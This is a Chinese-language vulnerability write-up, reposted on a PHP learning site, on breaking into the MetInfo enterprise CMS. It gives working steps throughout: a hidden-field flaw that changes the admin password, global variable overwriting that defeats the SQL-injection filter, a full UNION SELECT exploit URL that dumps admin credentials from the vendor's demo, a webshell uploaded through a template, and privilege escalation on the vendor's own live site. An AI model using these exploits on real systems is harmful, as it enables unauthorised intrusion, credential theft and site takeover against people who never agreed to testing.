来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 前言 对于相对成熟的cms, sql inject,xss 都有完善的自身防御代码。然而一些逻辑错误以及意识上的误区可能会让系统防御如同虚设,本文就是一个通过全局变量覆盖突破防注入以及其他逻辑...
前言
对于相对成熟的cms, sql inject,xss 都有完善的自身防御代码。然而一些逻辑错误以及意识上的误区可能会让系统防御如同虚设,本文就是一个通过全局变量覆盖突破防注入以及其他逻辑失误导致MetInfo 企业网站管理系统多处安全缺陷的案例。
前台逻辑缺陷秒改管理员密码
MetInfo是国内使用非常广泛的企业管理系统,采用PHP+Mysql架构。速度下鸟安装
又是管理员和前台会员在一个表的,这下方便多了,注册普通会员,查看源码 。
有个 hidden 的 字段,目测有鬼,继续跟踪到 save.php
if($action=="editor"){
$query = "update $met_admin_table SET
admin_id = '$useid',
… = ……,
if($pass1){
$pass1=md5($pass1);
$query .=", admin_pass = '$pass1'";
}
$query .=" where admin_id='$useid'";
$db->query($query);
okinfo('basic.php?lang='.$lang,$lang_js21);
}
看红色的代码 $useid 则是刚才(后面会讲到) hidden 的字段,不是有句话叫做一切用户输入都是有害的,怎么能用这个更新资料的条件了,也就是说 只要知道管理员的名称 就可以改管理员的密码。那怎么知道管理员的名称了。 admin ? 社工 ? 暴力 ? 我们继续往下看 …
全局变量覆盖
include\common.inc.php 是整个系统的核心文件,用户处理数据,连接数据库..
一段狠经典的代码,导致国际问题全局变量覆盖。
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
接下来,找能利用的地方,最好是能直接getShell 什么的。
找了很久 都发现数据库操作 传进去的变量都单引号注释鸟,后台才发现我sb了。
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.
require_once '../include/common.inc.php';
if($class1)$id=$class1;
$job=$db->get_one("select * from $met_job where id='$id'");
if(!$job){
okinfo(
$id 单引号鸟,那就直接覆盖 $met_job,不就可以了吗 !!
http://www.2cto.com /coder/minfo/job/showjob.php?id=1&met_job=%60information_schema%60.%60SCHEMATA%60%23
访问正常,说明有搞头,开屎疯狂的注入… union 联合查询,却又弹出这个东东 。
额 蛋疼的防注入....
防注入都是浮云
我们来看防注入代码
global $met_sqlreplace;
if($met_sqlreplace){
$string = str_replace("select", "\sel\ect", $string);
$string = str_replace("insert", "\ins\ert", $string);
$string = str_replace("update", "\up\date", $string);
$string = str_replace("delete", "\de\lete", $string);
$string = str_replace("union", "\un\ion", $string);
$string = str_replace("into", "\in\to", $string);
$string = str_replace("load_file", "\load\_\file", $string);
$string = str_replace("outfile", "\out\file", $string);
}else{
if(inject_check($string)){
$reurl="http://".$_SERVER["HTTP_HOST"];
echo("<script type='text/javascript'> alert('Please Stop SQL Injecting!'); location.href='$reurl'; </script>");
die("Please Stop SQL Injecting!");
}
}
跟进 inject_check 函数 ,
function inject_check($sql_str) {
if(strtoupper($sql_str)=="UPDATETIME" ){
return eregi('select|insert|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);
}else{
return eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);
}
}
貌似 小涛童鞋还在 90sec 发过突破这个函数的讨论帖 …
正则写的很全面,突破就有些难鸟,不过我们有前面的全局变量覆盖,inject_check神马的都是浮云啊,浮云...,回来看前面的代码当$met_sqlreplace 为true 是 就不执行sql 语句检查,那我们就来覆盖$met_sqlreplace,直接上jb 官网演示。
http://www.metinfo.cn/demo/job/showjob.php?id=1&met_job=met_job where id = 2 and 1=2 UNION SELECT 1,(SELECT admin_id FROM `met_admin_table` where id = 1 ),3,(SELECT admin_pass FROM `met_admin_table` where id = 1 ),5,6,7,8,0,10,11,12,13,14,15 %23 &met_sqlreplace=1
访问以上链接,直接爆出用户名,密码。密码的懒得破了,有了管理员账号,,秒改 。
后台简单拿shell
找到模板打包上传,里面直接木马文件
访问 http://www.av.com/ templates/test/ya.php
官网后台提权突破拿shell
屁颠屁颠的跑去官网测试,确发现悲剧鸟…
官网权限限制鸟,我压力很大…
提交到的文件为 save.php 看关键代码
if($editorpass!=1){
$query .=", langok = '$langok'";
$query .=", admin_type = '$admin_type'";
$query .=", admin_issueok = '$admin_issueok'";
$query .=", admin_op = '$admin_op'";
}
把 editorpass 置为 0,增加 admin_type,成功提权。
模板上传拿到shell
留个 txt做纪念。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com